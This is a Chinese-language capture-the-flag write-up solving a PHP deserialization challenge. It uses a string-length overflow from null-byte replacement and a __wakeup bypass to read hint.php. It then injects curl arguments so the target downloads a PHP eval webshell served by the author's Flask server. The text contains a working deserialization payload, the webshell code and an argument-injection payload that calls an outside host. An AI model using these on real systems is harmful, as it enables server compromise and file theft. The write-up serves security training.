一道反序列化的题目。

    1. <?php
    2. // php版本:5.4.44
    3. header("Content-type: text/html; charset=utf-8");
    4. highlight_file(__FILE__);
    5. class evil{
    6. public $hint;
    7. public function __construct($hint){
    8. $this->hint = $hint;
    9. }
    10. public function __destruct(){
    11. if($this->hint==="hint.php")
    12. @$this->hint = base64_encode(file_get_contents($this->hint));
    13. var_dump($this->hint);
    14. }
    15. function __wakeup() {
    16. if ($this->hint != "╭(●`∀´●)╯") {
    17. //There's a hint in ./hint.php
    18. $this->hint = "╰(●’◡’●)╮";
    19. }
    20. }
    21. }
    22. class User
    23. {
    24. public $username;
    25. public $password;
    26. public function __construct($username, $password){
    27. $this->username = $username;
    28. $this->password = $password;
    29. }
    30. }
    31. function write($data){
    32. global $tmp;
    33. $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    34. $tmp = $data;
    35. }
    36. function read(){
    37. global $tmp;
    38. $data = $tmp;
    39. $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    40. return $r;
    41. }
    42. $tmp = "test";
    43. $username = $_POST['username'];
    44. $password = $_POST['password'];
    45. $a = serialize(new User($username, $password));
    46. if(preg_match('/flag/is',$a))
    47. die("NoNoNo!");
    48. unserialize(read(write($a)));
    49. ?>

    有两个类,evil类中有一个hint.php注释,看样子是想办法得读取到hint.php的内容。
    但是发现下面可以自由控制的变量只有User类中的两个变量,并不能直接输入反序列化后的字符串。

    但是注意到再进行反序列化操作前,会对序列化字符串进行两次str_replace,将字符串中的\0\0\0chr(0)相互替换。这一操作原本的用意是为了防止数据库无法处理NULL字节,但是加入我们构造用户名时输入转义字符\\0\\0\\0,就不再是空字节,而是'\'+'0',这样依旧会被str_replace,但是字符串长度却由\0\0\0(6 bytes)变成了chr(0)*chr(0)(3 bytes),知道了这点,再来看看php序列化的机制。

    举一个简单的例子

    1. <?php
    2. class User
    3. {
    4. public $username;
    5. public function __construct($username, $password){
    6. $this->username = $username;
    7. }
    8. }
    9. $user=new User("user");
    10. var_dump(serialize($user));
    11. ?>
    12. //string(67) "O:4:"User":1:{s:8:"username";s:4:"user";}"

    写出来含义就是:

    1. O:4:"User":1:{s:8:"username";s:4:"user";}
    2. O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
    3. O:4:"User"Object(对象) 4个字符:User
    4. :1对象属性个数为1
    5. {}中为属性字符数:属性值

    其中不管是类名的长度还是属性的长度,只要对不上,就会报错。
    原因在于PHP反序列化时是按照长度来读取数据,并不是按照正常的引号,分号来分割数据。
    再看上面的题目,由于反序列化前使用了str_replace来处理字符串,如果用户输入了\0\0\0,就会导致长度不正确,也就产生了溢出。
    这样我们就可以通过构造Username和password来使其实例化evil类。

    1. O:4:"User":2:{s:8:"username";s:60:"peri0d*********";s:8:"password";s:48:"1234";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}

    username原长度为60,经过str_replace后长度变成33,也就是说unserialize函数还要再往后读取27个字节,这27个字节正好将";s:8:"password";s:48:"1234读取到,最后的username是peri0d*********";s:8:"password";s:48:"1234,后面的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}";当作对象继续反序列化。

    还有一个小问题,evil类中的__wakeup会将hint变量重置,所以需要绕过,将evil后面的1改为2即可。

    提交后得到一串base64字符串,解码后得到:

    1. <?php
    2. $hint = "index.cgi";

    访问index.cgi,返回内容:

    1. {
    2. "args": {
    3. "name": "Bob"
    4. },
    5. "headers": {
    6. "Accept": "*/*",
    7. "Host": "httpbin.org",
    8. "User-Agent": "curl/7.72.0",
    9. "X-Amzn-Trace-Id": "Root=1-602151c3-05680e9b21bbc22d5cec8acb"
    10. },
    11. "origin": "1.194.62.23",
    12. "url": "http://httpbin.org/get?name=Bob"
    13. }

    应该是和命令执行有关,但是尝试了很多发现不行,最后在网上查到是利用curl的参数来getshell。
    flask搭建个简单的服务器:

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. from flask import Flask
    4. from werkzeug.routing import BaseConverter
    5. class RegexConverter(BaseConverter):
    6. def __init__(self, map, *args):
    7. self.map = map
    8. self.regex = args[0]
    9. app = Flask(__name__)
    10. app.url_map.converters['regex'] = RegexConverter
    11. @app.route('/<regex(".*"):url>')
    12. def index(url):
    13. return "<?php @eval($_POST['shell']);?>"
    14. if __name__ == '__main__':
    15. app.run(host='0.0.0.0')

    让其返回一句话木马,放在公网ip上,通过-o参数,即可将其写入到服务器上。
    payload:

    1. ?name=%20http://ip:5000/ -o shell.php

    最后使用蚁剑连接即可。
    最后实验发现并不行,虽然返回的内容有一句话,但是无法写入到服务器上面。但可以直接通过file://读取文件,flag位置就在/flag